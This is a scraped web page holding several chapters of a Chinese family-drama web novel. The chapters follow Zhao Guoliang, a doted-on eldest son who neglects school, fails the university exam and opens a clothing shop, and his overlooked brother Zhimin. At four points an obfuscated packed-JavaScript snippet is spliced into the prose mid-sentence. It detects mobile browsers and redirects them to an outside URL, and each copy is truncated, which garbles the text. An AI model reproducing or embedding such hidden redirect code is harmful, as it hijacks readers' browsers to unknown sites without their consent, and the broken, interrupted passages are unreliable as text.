日子就这么一天天过去，赵兴强的三个孩子也慢慢长大。与村里许多“给口饭吃就成”的养娃方式不同，赵兴强咬着牙，坚持把三个孩子都送进了学校。长子赵国亮尤其没有辜负他的期望。这孩子从小脑子就灵光，学习一点就透，成绩在学校里一直都是第一名。更难得的是，他长得眉清目秀，个子在同龄人中也是出挑的，走在村里，总能收获街坊邻居由衷的夸赞：“兴强家的亮娃子，真是又聪明又体面！”自然而然地，赵国亮成了赵兴强夫妇心尖上的宝贝，那份疼爱远胜于对老二赵智民和小妹赵小英。 小学时的赵国亮，甚至谈不上多么努力。他不太明白“刻苦读书”背后的意义，只觉得上学是件自然而然的事。每天吃过早饭，他便领着弟弟赵智民，和村里其他孩子一起嬉闹着去学校。放学后，照样疯玩。可奇怪的是，每次考试，他总能稳稳地坐在第一名的位置上。当时家里条件有限，但赵国亮每天早饭必定有一个珍贵的鸡蛋，这让他比同龄孩子长得更高更结实。于是，成绩好、个子高、模样俊的赵国亮，自然而然地成了这一带的孩子王，更是学校里所有老师捧在手心里的“香饽饽”。 由于赵智民成绩不好，年龄小，家里有好吃的都先给赵国亮，所以赵智民总是矮小的，不怎么说话的，在人群中也是不打眼的，和哥哥赵国亮那活泼嘴甜、讨人喜欢，光芒四射、鹤立鸡群的形象完全不一样。 赵国亮被父母寄予厚望，要求专心读书，家里的农活、杂活很少干。一般家里需要帮手时，杨红翠总是习惯性地喊：“智民，去帮你爸把猪草剁了！”“智民，去把柴劈了！”在这种环境下长大的赵智民，心里也明白自己干的活比哥哥多，碗里的肉和鸡蛋却少得多。但赵国亮偶尔心情好，也会带着他一起玩，再加上钝感力比较强，他也没感受到严重的心理不平衡。他想，谁让自己成绩不如哥哥，长得也不如哥哥呢？多干点活也没什么。周围的小伙伴们不也都这样么？只有哥哥赵国亮是个例外。这么一想，他对父母的偏心也就默默接受了。 慢慢地，上了初中后，赵国亮的世界迅速扩展，认识的人更多了他不再带着自家的弟妹，而是和学校里那些同样优秀的同龄人混在了一起。相反，赵智民很喜欢带着小妹玩，两人年龄只差三岁，其实也能玩在一起，还很融洽。 赵国亮读初中那几年，正是农村悄然变化的时期。许多外出打工的人带回了山外的新鲜玩意儿和见闻。乡镇上开始出现属于年轻人的各种娱乐场所：烟雾缭绕的网吧、充斥着电子音乐的游戏厅、碰撞声里的台球室……农村的生活，正被一点点撬开缝隙。 假期里，赵国亮跟着同学去了趟县城。那里的“花花世界”更让他大开眼界：更大更亮的网吧，更热闹的游戏厅，穿着时髦的年轻人……一颗渴望逃离山沟沟、奔向县城的心，在他胸膛里猛烈地跳动起来。当然，以他的成绩，去县城读书基本上是板上钉钉的事。在当地教育资源匮乏的年代，赵国亮已经是老师的得力助手，也就是班长。他不仅自己成绩优异，还能帮老师出测试题，把自己的解题思路分享给同学。 整个初中时期，赵国亮俨然是学校的风云人物，更是这个村子里最让父母脸上有光的孩子。杨红翠哪怕是在田间地头干活，采茶叶、种红薯、收玉米等时刻，与其他村妇们闲聊时，叶总能收获一片艳羡的恭维：“红翠啊，你家亮娃儿真出息！”“祖坟冒青烟喽，生了这么个会读书的娃！”每每听到这些，杨红翠心里就像喝了蜜一样，满足和骄傲全部写在脸上。 和杨红翠一样，赵兴强在街上摆摊时，也常被其他学生的家长或熟人拉住，少不了对赵国亮的一番夸赞。他虽然不像杨红翠那样喜形于色，只是“嗯嗯”应着，但心里那份骄傲和得意，却是实实在在的。 赵国亮，从小就是“别人家的孩子”，一路顺风顺水，至少在成年之前是如此。他是给父母、给老师“长脸面”的人物。这份荣光，让赵兴强和杨红翠对长子的偏爱，无形中又“更上一层楼”。 时间来到2000年，这是崭新的一年。新千年的钟声敲响，世界仿佛翻开了崭新的一页。世界迈入新时代了。中国开始进入新世纪，加速融入全球化的浪潮，发展的春风吹向内陆，即便是四川的偏远小县城也迎来了崭新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788762|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展。然而，对赵国亮而言，2000年更像是一个巨大的人生拐点，一个彻底改变了他、也改变了整个赵家命运的起点。 在这一年，赵国亮考入了县里的高中，开始了寄宿生活。即便是这样一个普通的小县城，在当时的赵国亮眼中，也已是另一个世界，远比闭塞落后的农村“高级”太多。那时，“新农村建设”的概念还没有被提出，村里的景象仍是：一座座低矮破旧的瓦房，甚至还有不少土房子；也没有水泥公路、全是雨天泥泞不堪的土路；家里没有热水器、电视机是稀罕物；停电是家常便饭；晚上最常使用的就是煤灯和蜡烛，晚上人们也只只能早早睡觉，没有什么娱乐。 但是在县城却不一样，赵国亮每周末可以和朋友白天去台球厅，晚上去游戏厅，然后通宵在网吧。那时候的□□刚刚兴起，互联网上光怪陆离的信息和便捷的交友方式，给这个来自山村的少年带来了前所未有的巨大冲击。原本是每周末回家一次变成了每个月回家，到了高二高三时候，基本上就只有一个学期才回家。 随之而来的，是越来越频繁的要钱电话。家里没有电话，只有镇上一个与赵兴强相熟的牌友开的小卖部有公用电话。赵国亮摸准了父母去镇上赶集摆摊的日子，便在那天把电话打过去。 “爸，学校要交下学期的书本费了，能给我汇点钱吗？” “妈，这个月生活费不够了，马上要模拟考，还得交卷子钱，能再给点吗？” “妈，我……我前两天发烧住院了，快好了。钱是室友先垫的，你能赶紧给我汇过来吗？” “妈，今天我们班主任过生日，全班同学都凑份子买礼物，我是班长，不能少……” 各种各样的理由，一次又一次地从电话那头传来。起初，赵兴强还爽快地答应，到了高二，他开始觉得不对劲：一个高中生的开销，怎么像滚雪球一样越来越大？他们开始在电话里询问儿子的具体花销，委婉地提醒他稍微节省一些。但杨红翠心软，对这个从小到大没让她操过心、又给她带来无数荣光的儿子几乎有求必应。在她朴素的认知里，半大小子吃穷老子，花销大点也正常。于是，赵国亮摸准了门道，一缺钱就找母亲。电话那头杨红翠的应承声，总是格外爽快。 高中这两年，赵国亮过得可谓逍遥自在。吃穿不愁，花钱大方，更不用为前途担忧。在那个年代的农村，能拿到高中文凭已是凤毛麟角，足以在县城找个像样的工作了。当然，这是赵国亮自视甚高的想法，某种程度上也是杨红翠的想法。她没读过几天书，嫁给了曾经是“地主崽子”的赵兴强，觉得儿子能识字，有文化，将来找个工作挣钱，就已经是天大的出息了。但赵兴强不这么想。他总觉得，书读得越多越好，有更多文化总是好的，内心深处还是盼望着儿子能考上大学，光耀门楣。 然而，赵国亮一个高中生的开销，已经像一块巨石，沉沉地压在这个并不宽裕的家庭上。家里的几亩地、养的猪和鸡，维持温饱尚可，但要供养第二个高中生，已是力不从心。 16. 智民 原本成绩就不好、考不上高中的赵智民，顺理成章地在初中毕业后结束了学业。 但他并非没有自己的想法。因为从小一起长大的发小李波，家里托关系让他去读技校，听说毕业后能分配工作。这让赵智民也动了心。一天晚饭时，他鼓起勇气对父母说：“爸，妈，我想跟李波一起去读技校。” 赵兴强放下碗筷，眉头微皱，首先质疑道：“你成绩这么差，人家技校能收你吗？” “能的能的！”赵智民生怕慢一步就被拒绝，急切地解释，“李波成绩跟我差不多，他都能去，我肯定也可以！” “那行……我明天去问一下李自山。他是咋个给李波说的？”赵兴强思考了会还是先打算去问问李波的父亲。 这时，一直没吭声的杨红翠面露难色。在父子俩交谈的时候，她心里算盘打得飞快：技校的学费、生活费，还有家里的日常开销……她看着眼前正狼吞虎咽吃着第二碗饭的小儿子，犹豫再三，还是开口了：“智民啊，我听说那技校读出来，不也还是进厂嘛？你二舅没读过书现在也在广东厂里上班。要不……我明天去镇上打个电话，问问你二舅厂里还招人不？直接去，省了读书的钱，还能早点挣钱。”她的语气带着一种不容置疑的“务实”。 “妈！”赵智民急了，声音也提高了一点，甚至把筷子轻轻搁在了桌上。这是他以往绝不敢做的动作，也是他对此小小的反抗，“我都跟李波说好了，一起去技校！我不想现在就进厂打工！” “赵兴强！你听听！”杨红翠像是抓住了他的把柄，声音陡然拔高，立刻向丈夫“控诉”，“他这哪里是想去读书？分明就是想跟那个李波凑在一块儿一天天鬼混！”李波当时在村里名声也不算好，和赵智民一样是成绩垫底、上课睡觉、偶尔惹点小麻烦的“问题学生”。 赵兴强没有立刻附和妻子，他觉得两个孩子虽然皮了点，但本性不坏。 杨红翠看情况不妙，接着乘胜追击：“亮娃儿马上高二结束了，暑假一过转眼就是高三，正是花钱的关键时刻，哪哪儿都要花钱！万一……万一他真考上了大学，那学费、生活费，那更是一笔大钱。”一说出钱的问题，赵兴强的神色明显发生变化，显然他是赞同的杨红翠的话。 杨红翠转向赵智民，语气变得语重心长，却字字如针：“智民啊，不是我们不让你读这个技校。你首先自己想想，你那成绩，上课都打瞌睡，读技校也得考试吧？你能考过吗？就算混出来了，不还是进厂？跟你现在直接去厂里有啥区别？你在技校白耗那几年到底是图啥？你听我们的，跟你二舅去广东厂里，直接就可以上班拿工资！还能帮衬帮衬家里。”她顿了顿，目光扫过闷头吃饭的赵小英，加重了语气，“你不替我和你爸想想，也该替你哥、替你妹妹想想！你哥读高中开销多大？你妹妹再过两年也要上初中了，那都是钱啊！” 杨红翠的每一句话，都像粉笔头一样砸在赵智民的脑袋上。此时的他的文化水平就只能想到这种比喻——就像上课走神时被老师扔粉笔头砸醒。他怔怔地看着旁边正小口扒饭、穿着打补丁旧衣服的妹妹赵小英，心底最后一丝希望也熄灭了。是啊，读不读技校，有什么要紧呢？出去挣钱，至少能给家里添点钱。他默默低下头，不再说话，算是默认了父母的安排。 最终，赵兴强还是决定明天去问问李波的父亲，关于技校的具体情况。杨红翠则去打听智民二舅厂里的消息，再做“定夺”。一顿沉闷的晚饭就这样结束。赵家四口人，揣着各自沉重的心事，辗转反侧，难以成眠。 彼时年幼的赵小英不懂这些情况，她只知道哥哥成绩好读高中，二哥成绩不好就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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2003年的这个夏天，赵国亮高中毕业了。不出意外地，他高考落榜了。 这个结果，对赵兴强来说，是意料之外，却又在情理之中的。他问过赵兴强的高中班主任，老师表示赵国亮在高二时的成绩就已下滑很快，考上大学的几率很小，但如果最后一年冲刺下也有希望。 而这，恰恰也是赵国亮“精心布局”下，最能让父母接受的结果。早在高三上学期，他就开始不间断地向杨红翠和赵兴强“诉苦”：高中学习压力很大，跟不上城里老师的节奏，学不进去……他不断地铺垫着自己可能失败的“合理”理由。如果到时候真的考不上大学，父母也更多的是“果然如此”的无奈，而不会再苛责自己。 很显然，他的“预防针”，见效了。 时间拉回到高三这一年，如果赵国亮在学校正常的学习，自己再拼命一把，其实也是有很大希望考上大学的。他的底子并不差，只要自己努力一年，完全可以赶上的。可是天不如愿，欲望总是战胜理智。 开学前的那天下午，是赵兴强送他到车站的。赵兴强语重心长地叮嘱：“虽然我没有读啥子书，但是你们老师给我说的，只要你认真学习，努力冲刺是有几率考上大学的。我也晓得考大学很难，这一年学习也很苦，但你再苦也就苦这一年。只要你考上了，我们哪怕砸锅卖铁也会供你读书，你就安安心心好好学”。 看着已有白发的父亲，沧桑的手帮自己拎着行李。他感慨万千，暗自腹诽一定要收心，不再出去玩了，等考上大学再玩也可以。 带着父亲的嘱托和内心的发誓，赵国亮坐了三个多小时颠簸的班车回到县城。最初的一个月，赵国亮完美的践行自己的誓言，他埋头啃着书本，拒绝了一切外出邀约，过着宿舍和教室两点一线的生活，仿佛要把流失的时间抢回来。 然而，这份决心，在国庆假期到来时，像被针戳破的气球，迅速地瘪了下去。 高三的学生大多留校苦读，都在为高考而奋战。国庆第一天，同宿舍的好友吴孟霖就坐不住了，硬要拉着赵国亮出去“透透气”，但实则是去逛街买衣服。 赵国亮身材高大挺拔，一米八的个头，是天生的衣服架子。更重要的是，他前两年曾沉迷于县城录像厅里循环播放的港片，当时被《堕落天使》里颓废帅气的黎明吸引，便学着他的打扮。班上的女生也在说他眉眼间还竟有几分神似那位巨星。听到女同学们的调侃，带着虚荣心的赵国亮也更加痴迷模仿起黎明的穿搭，简单的T恤、牛仔裤，被他穿出一种不羁的范儿，在县城中学里颇为惹眼。 吴孟霖每次买衣服，都少不了赵国亮这位“时尚顾问”，让他帮忙挑衣服。赵国亮也确有几分眼光，总是能在县城那些犄角旮旯的小店里，淘出让人眼前一亮的“潮货”。吴孟霖经常打趣着：“亮哥，你这眼光，毕业了干脆去卖衣服得了！你自己往门口一站，这长相，这身材，直接活招牌，肯定赚钱啊！” 两人买完衣服，赵国亮原本打算直接回学校的。可偏偏就在回去的路上，撞见了隔壁班的“活地图”——许耀刚。许耀刚是赵国亮和吴孟霖的“游戏搭子”，县城里哪个犄角旮旯新开了什么场子，没有他不知道的。 一见两人，他一脸兴奋地拦住他们：“嘿！正找你们呢！城西那边新开了家游戏厅，跟你们说，超级大！而且全是广州那边过来的新机子，是外面大城市正流行的，走走走，我们开开眼去！” 他眉飞色舞地描绘着，卖力吆喝两人一同前去。 “都放假了，绷那么紧干嘛？多学这一天，能让你多考五十分啊？” 许耀刚见两人犹豫，使出杀手锏，“放松一天，天塌不下来！” 吴孟霖没吱声，眼神却巴巴地望向赵国亮。赵国亮心里也像有两只猫在抓挠，沉默着回看吴孟霖。两人眼神在空中无声地较量、挣扎。 许耀刚看着这两人大眼对小眼，可没耐心等他们天人交战，嘿嘿一笑，一手拽一个：“行了行了，没说不去那就是想去，跟我走！” 半推半就间，三个人便拐向了那条通往“新世界”的岔路。 推开游戏厅的玻璃门，鼎沸的人声瞬间将三人吞没。里面人头攒动，各式各样闪烁着炫目光芒的游戏机发出震动的嗡鸣和激烈的音效。拳皇、三国战纪、赛车、射击……屏幕上的画面眼花缭乱，围观者比玩家还激动。三人就像刘姥姥进了大观园，每路过一种游戏机旁便停驻观看。 “怎么样？没骗你们吧？” 许耀刚得意地扬着下巴，“这个游戏厅是整个县最大的，听说老板是从广州那边回来的，老有钱了，现在大家都来这边玩儿。” “亮哥，来都来了，要不……玩玩？” 吴孟霖按捺不住内心的躁动，试探着问。还没来得及等到赵国亮的回答，许耀刚已经麻利地换了游戏币塞到两人手里：“来都来了，不体验一下就走可不是你们的风格哈。走走走！今天先爽了再说！” 在震耳欲聋的声浪和光怪陆离的屏幕前，在摇杆的激烈碰撞和按键的疯狂敲击下，那种久违的、令人血脉贲张的快乐瞬间淹没了赵国亮。相比在教室里死气沉沉的刷题，这里的每一口空气都刺激体内疯狂地分泌多巴胺，使整个人飘飘然。所有的决心和负罪感都被抛到了九霄云外。这一玩，就是一个通宵。 少年人的松懈，一旦开了闸，便如洪水决堤，一发不可收拾。人的惰性，总能轻而易举地占据上风。赵国亮、吴孟霖、许耀刚，就此结成了牢不可破的“游戏铁三角”。每一次想要抽身回到教室里学习时，都会被彼此轻易说服，那些自欺欺人的理由，张口就来。 “没事儿，现在才10月份，距离高考还有很长一段时间，来得及！” “没关系，11月而已，这学期还没过去，慌什么？” “12月了？距离高考还有半年的时间，6个月时间是足够的。想想中考那会儿也是临近考试才复习的，还不是考上了高中？” “这个学期过去了，寒假我一定在家好好复习，等开学就洗心革面，一定好好复习！” “新学期开始了？最后一次！玩了这一次，我一定不来了！金盆洗手！” “还有三个月了？这时候基本上复习已经没有多大关系了，那不如当放松心情。” “最后两个月了？这时候复习已经是来不及了，那就安安心心的玩！及时行乐！” “最后一个月了？破罐子破摔吧，反正都考不上了，还不如玩个痛快！” 从最初的“来得及”，到中期的“当放松”，再到后期的“彻底放弃”，赵国亮内心的防线就这样一步步崩塌、溃散。每一次踏进游戏厅，都是对那个曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你自己有啥子想法没得？”赵兴强还是想知道儿子的想法。 赵国亮脑子一片空白，完全不知道如何回答父亲。但父亲问到了，此刻他也不能不说出一些自己的想法。情急之下，脑子突然灵光一现：“我之前有在城里跟卖衣服的老板们聊过，他们去市区的批发市场拿货，衣服便宜得很。现在咱们乡镇上，还很少有人卖那些年轻人喜欢的衣服，我想……先去摆摊试试。等后面攒了钱，看能否开个服装店。” 这个临时拼凑的“计划”，连他自己都觉得飘忽。 “卖衣服好啊！” 杨红翠立刻附和，赶紧给儿子打气，“你们年轻人懂这些，眼光好，肯定好卖！我支持你！” 赵兴强想了想，自己这几年在街上租了一个小摊位，卖些烟草，偶尔盈利还是不错，可以让他跟着去试试看：“行吧……你先跟我去摊子上学着点，看看人家是咋个做生意的。” 就这样，2003年的漫长夏天，赵国亮结束了他作为“学生”的身份，开始了在父亲烟摊旁的“学徒”生涯。烈日炎炎下，他看着集市上来来往往的人流，听着顾客和父亲讨价还价，心头一片茫然。 入秋了，风里带上了一丝凉意。赵国亮意识到：以后，再也不会有暑假了，学生时代就这么结束了。 前方等待他的路，他也不知道。 18. 店铺 赵国亮在父亲摊位上当帮工，老老实实地干了一整个夏天。正当他以为还得干一段时间才能单飞时，却没想到转折来得比预想中快得多。 本就有着一个机灵脑子，再加上能说会道的巧嘴和眉清目秀的好皮相，赵国亮在乡镇集示上很是打眼。沿街路过的老人提着重物，哪怕素不相识，他也会上前搀扶或者搭把手；顾客需要帮忙拿东西的，没有等开口，他早已主动帮忙拎东西；另外，哪怕时相邻的几个摊位老板，只要有想找人搭个手，他已经很有眼力劲儿开干起来。 久而久之，这条街上的人提起赵家小子，没有不夸的。 “老赵啊，你这儿子是块做生意的料，你看他才来多久，这门道摸的一清二楚！” “就是，人看着白白净净的俊小伙儿，没想到挺踏实能干！” “老赵啊，你何不再租个摊子，让你儿子单独干一个，我看他能行“ ....... 听着邻摊老板们你一言我一语的夸赞，再看看儿子确实比刚回来时沉稳踏实了许多，赵兴强心里那点疑虑也渐渐消散了。当初儿子说什么要开服装店，他只当是年轻人好高骛远、随口搪塞。做生意哪有那么容易？他自己守着这小小的烟草杂货摊，也是摸爬滚打十几年，才攒下这些熟客。本意是想让儿子跟着自己吃吃苦，磨磨他那浮躁的性子，挫挫锐气，没成想这小子还真咬牙坚持了下来，甚至显露出几分天赋。 赵国亮确实有点做生意的料子。从不扭扭捏捏，放得下身段，一口一个“叔”、“婶”、“哥”、“姐”，叫得亲热又自然。顾客来了，他能察言观色，几句话就能哄得人心花怒放，把东西夸得天花乱坠，让人心甘情愿掏钱。 这份拉得下脸面、讨得了欢心的本事，让赵兴强暗自惊讶。 赵兴强再三思索，决定还是让他自己闯一闯，十八岁的小伙子总得找点自己的事情做，不然真就成了闲散懒人，最终成了废人一个。他盘算着，得跟杨红翠商量商量，看家里能凑出多少钱，拿出来资助他搞下铺面，还有前期的进货费用等等。 “我这边有两千块钱，是智民每个月攒两百打给我，我存下来来的。你看够吗？”杨红翠说道，有些心急，生怕不够怎么办。 赵兴强摇摇头，这显然是不够的，只能借钱了：“我再去找老二借三千块钱。上次他给我打电话说他们在新疆干得还不错。” 一听要向老二借钱，杨红翠的脸瞬间垮了下来，去年过年时和老二媳妇因为菜地边界吵得不可开交的情景又浮上心头。“老二肯借，那老二媳妇儿能答应？下次回来肯定少不了在我面前东拉西扯。上次那点破事，她能念叨一辈子！” “还不是怪你！牙尖嘴碎的！”赵兴强一听就上火，“平时让你少说两句，你偏不听！老二媳妇说话是冲，你左耳进右耳出不就完了？非得跟她争个高下？这钱是我跟老二借，又不是跟她借！”他看着自己这个心眼不坏、偏偏嘴上不饶人、没理也要争三分的媳妇，再看看同样不是善茬的老二媳妇，只觉得太阳穴突突地跳，头疼得很。 沉默了一会儿，赵兴强想起另一桩事：“对了，老二上次不是说想回老家盖房吗？老二媳妇儿看上的那块地离咱家有点远，老二想挨着咱们老屋，就在我们背后那边……我想着，要不……就把那块地给老二吧。” 思来想去，赵兴强觉得只有拿地换钱是最好的。毕竟万一赵国亮生意没做起来，老二这钱一时半会儿肯定是还不上的。老二家也有三孩子，都在读书，也不容易。 杨红翠默许了这种做法，虽然心里舍不得背后那块地，平时种菜那么方便，想吃点啥顺手的事情。可一想到老二媳妇可能拿着借钱的事天天在她面前说道，还不如拿地换钱。她自己心里还是有点傲气的，但为了她宝贝儿子做生意，那块地舍了便舍了吧。 就这样，赵国亮揣着父母用一块好地和多年积蓄凑出的五千块“巨款”，在乡镇中学附近、人来人往的十字路口，租下了一个门面。简单打扫粉刷后，看着空荡荡的铺子，他感到前所未有的兴奋。下一步，就是去市区进货！ 他首先想到的是吴孟霖。许耀刚在前几天去上海投奔亲戚了，临行前还豪气地说：“亮哥，混不下去就来上海找我！” 而吴孟霖则听从了他父亲“荒年饿不死手艺人”的劝告，去了市里一家老字号川菜馆，正从学徒做起，苦练厨艺。接到赵国亮的电话，吴孟霖特意请了一天假，打算带他去市区的服装批发市场转转，打听各个渠道。 当天，赵国亮被吴孟霖带到他那拥挤逼仄的员工宿舍。推开门，哟嚯，好家伙！一股汗味和袜子臭味混杂的气息扑面而来。小小的房间挤了四张上下铺，脏衣服、饭盒、杂物堆得到处都是，几乎无处下脚。 吴孟霖赶紧把开门右边下铺上的脏衣服收起来，放在旁边的口袋里，“你这几天将就着跟我挤挤，原本宿舍不能带其他人一起住的。这里的兄弟跟我们都是老乡，所以大家人不错，不会跟老板说。” 赵国亮看着这环境，再看看吴孟霖明显粗糙了不少的手和黑眼圈，哪里还有高中时互相打趣的心思。生活不易，兄弟能给自己找个地儿住，已是情谊。“谢了兄弟！” 他拍拍吴孟霖的肩膀，“那你对市区熟吗？下午就靠你带路了。” 两人在宿舍煮了面条，吃后便迅速出门。 当赵国亮踏入市区最大的地下服装批发市场“九龙时尚潮流”时，瞬间被眼前的景象震撼了。整个负一层望不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一周后，赵国亮终于选定了两家他认为最靠谱、性价比最高的供应商。他精心挑选了一批主打年轻潮流、兼顾少量童装和老人款式的开业货品，塞满了几个鼓鼓囊囊的大编织袋。吴孟霖特意请了半下午假赶来帮忙，两人吭哧吭哧地把货扛上开往乡镇的货运大巴。 车子启动，颠簸在回程的路上。巨大的疲惫和尘埃落定后的松弛感同时袭来，赵国亮很快沉沉睡去。这一觉，他睡得格外深沉、安稳。 恍惚中，他做了一个悠长而清晰的梦。梦里，他的服装店生意红火，他成了受人尊敬的“赵老板”，意气风发。他用赚来的钱盖了新房子，给父母买了新衣裳，给远在广东的智民买了他想要很久的球鞋，给小妹赵小英买了最时兴的裙子……父母脸上洋溢着满足的笑容，逢人便夸他有出息。尽管没有大学文凭，他依然是赵家的骄傲，是村里响当当的人物。 真是一个美梦啊！ 这梦境如此真切，仿佛触手可及。 19. 初遇 “国亮时尚潮流坊”六个大字终于挂上了店铺的门楣。正式开业！ 赵国亮看着店面上的名字，嘴角禁不住抽搐了一下，还是没有忍住扶额。生平第一次，他如此强烈地想改掉自己的名字，这“国亮”二字怎么这么土啊！！！重点是“国亮”两个字后面还接着“时尚潮流”四个字。额……这组合，简直是把“土气”和“硬拗时髦”焊死在一起。 这一看，既不时尚！也不潮流！ 赵国亮瞥了一眼身旁的父母和小妹赵小英。他们三人正乐呵呵地仰望着招牌，笑得合不拢嘴，他还是把涌到嘴边的吐槽硬生生咽了回去。天知道他有多怀念自己最初想好的那个店名——“堕落天使”！多么酷，多么潮流，多么有格调，带着港片里那种迷人的颓废感！可惜，被父母无情地一票否决。 “堕落天使，是啥意思？”赵小英一脸好奇地问着哥哥，这是她从未听过的词。 同样茫然的还有杨红翠，从未读过书的她连“堕落”二字都不会写，都不知道含义：“小英，堕落是啥意思？” “额，怎么说了，大概就是掉下去的意思吧。”刚上初一的赵小英通过字面意思简明扼要的给她解释。 一听“掉下去”，杨红翠脸色都变了，赶紧阻止儿子换名字：“那不行！这一听就不是啥好名字。“堕落天使”，天使都堕落了，那你这店要掉下去，不行不行，绝对不行！这个名字不好，得改。” 她着急忙慌，仿佛店名真能决定店铺的生死。 “妈！你不懂！”赵国亮简直要抓狂，“这是香港一部特别有名的电影，火得很，这名字在城里可潮了！” 他简直不想跟杨红翠争辩，因为他知道哪怕争辩也是对牛弹琴。 “开店一定要印象深刻，图的就是个让人记住，一定要加上自己的名字。这样大家都知道这个店是你开的。如果你决定非要这个名字，那我建议前面还是得加上赵国亮三个字。” 一直抽烟的赵兴强，此刻开了腔。他没有直接否定“堕落天使”这个店名，但在他传统的思想和十几年积累的小生意经里，开店肯定加上自己名字是最好的。 “你看外面那些店，‘张姐米粉’、‘王三面馆’、‘李强五金建材’，哪个不是这样？他们都是加上自己名字，这样做生意才知道名号，才能打出招牌。叫‘堕落天使’也可以……那前面也得加上‘赵国亮’三个字。” “赵国亮堕落天使服装？” 赵国亮差点一口气没上来，眼皮连翻了好几下，打住！！！赶紧打住！！！ 这是什么鬼名字？简直土得掉渣又非主流得冒泡！ 简直和他们说不通，赵国亮觉得跟父母讲审美和潮流，简直是对牛弹琴plus版。几番争论后，赵国亮最终还是换了名字。“国亮时尚潮流坊”已经是自己能做到的最大让步了，毕竟开业的资金投入都是父母给的，再怎么也得听从二人的建议。 店面的位置不错，位于两街转角交汇处，人流量比较大，学校出门没几步就能看到。这个店主要受众人群就是年轻人，所以学生肯定是最先考虑的顾客。 真是从了当初吴梦霖那句话。 事实证明，赵国亮本人就是店里最活的金字招牌。 他那张酷似黎明的俊脸——至少他自己和镇上小女生们这么认为。再加上一米八的挺拔身材，往店里一站，再穿上店里最新潮的夹克或牛仔裤，活脱脱就是从港台海报里走出来的模特。瞬间就吸引了学校一大票情窦初开的小女生蜂拥而至。更别提他那张能把死人说活的巧嘴，三言两语就能把女孩们哄得开开心心。再加上他以前混迹游戏厅、台球厅，跟镇上的年轻小伙子们也熟络得很，时不时请个客、散根烟、喝点小酒，“亮哥”的名声越来越响。 渐渐地，“国亮时尚潮流坊”竟真成了镇上年轻人买衣服的首选之地，也省去了他们跑县城的麻烦。 时光飞逝，转眼半年过去，日历翻到了2004年的新年。 这半年，赵国亮可谓扬眉吐气，风光无限。虽然初中毕业三年了，他却以一种意想不到的方式，重新成为了母校的“风云人物”。当年在校时，他是成绩榜上雷打不动的“年级第一赵国亮”，是老师们口中“三好学生”的代名词。然而没考上大学，如同一个响亮的耳光，打碎了所有的光环。老师们提起他，都是可惜：“那么好的苗子，怎么会没考上大学了？……唉！” 刚跟着父亲摆摊那会儿，赵国亮最怕在街上遇见昔日对自己寄予厚望的老师。远远看见熟悉的身影，他恨不得找个地缝钻进去，总是慌忙低下头，或者假装没看见。那种羞愧和无地自容，煎熬着他。以至于用了很长的时间，才调整自己的心态如何应对学校的熟人。 但这种煎熬，随着服装店的成功烟消云散。世俗的成功，让他底气也足了。他甚至主动邀请老师们来店里，还热情地送上几件时兴的衣服作为“心意”。看着老师们满意的神情和夸赞的语言，赵国亮恍惚间又找回了当年那个意气风发的自己。 只不过，如今校园里流传的，不再是“年级第一赵国亮”，而是“帅气老板赵国亮”。 时间流逝，新年将至，学校即将放假。 赵国亮盘算着店里该进点新年货了。除了常规的衣裤，他敏锐地发现围巾、帽子、手套这些配饰在学生中悄然流行起来，而且价格还不贵，只要简单包装一下就是不错的生日礼物或新年礼物。为了挑到最新颖的款式，他决定亲自再跑一趟市里的批发市场。 再次踏入那个熟悉又喧嚣的批发市场，赵国亮早已不是当初那个茫然无措的新手。他气定神闲地穿梭在拥挤的通道里，熟稔地跟相熟的老板们点头、打招呼。 选好满满两大编织袋的货品后，赵国亮把它们扛在肩上，慢慢地走向十字路口，准备去搭车。就在这时，一个急匆匆的身影从侧面通道猛地冲了出来！ “砰！哐当——！” 伴随着两声闷响和货物落地的声音，赵国亮连人带着两袋货物狠狠地摔倒在地，还好自己是躺在那两袋软和的衣物上，而不是硬邦邦的地上，没有摔个四仰八叉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……你没事吧？有没有摔到哪里？” 女孩站稳后，顾不上自己的狼狈，关切地询问着，眼神里满是真诚的担忧。 “没事儿！一点事都没有！” 赵国亮看着眼前的漂亮女孩，不假思索的说出。同时，立刻挺直腰板，生怕对方不信。 “哦哦，好的，那～我走了哦，拜拜～” 看着女孩微笑着对自己挥手告别，转身提着袋子离去。她的毛绒帽子两边的吊坠小球俏皮地翩然荡漾。赵国亮呆呆地看着她离去的背影，猛地一下回过神来，才发现自己没有及时拉住她，询问她的联系方式。 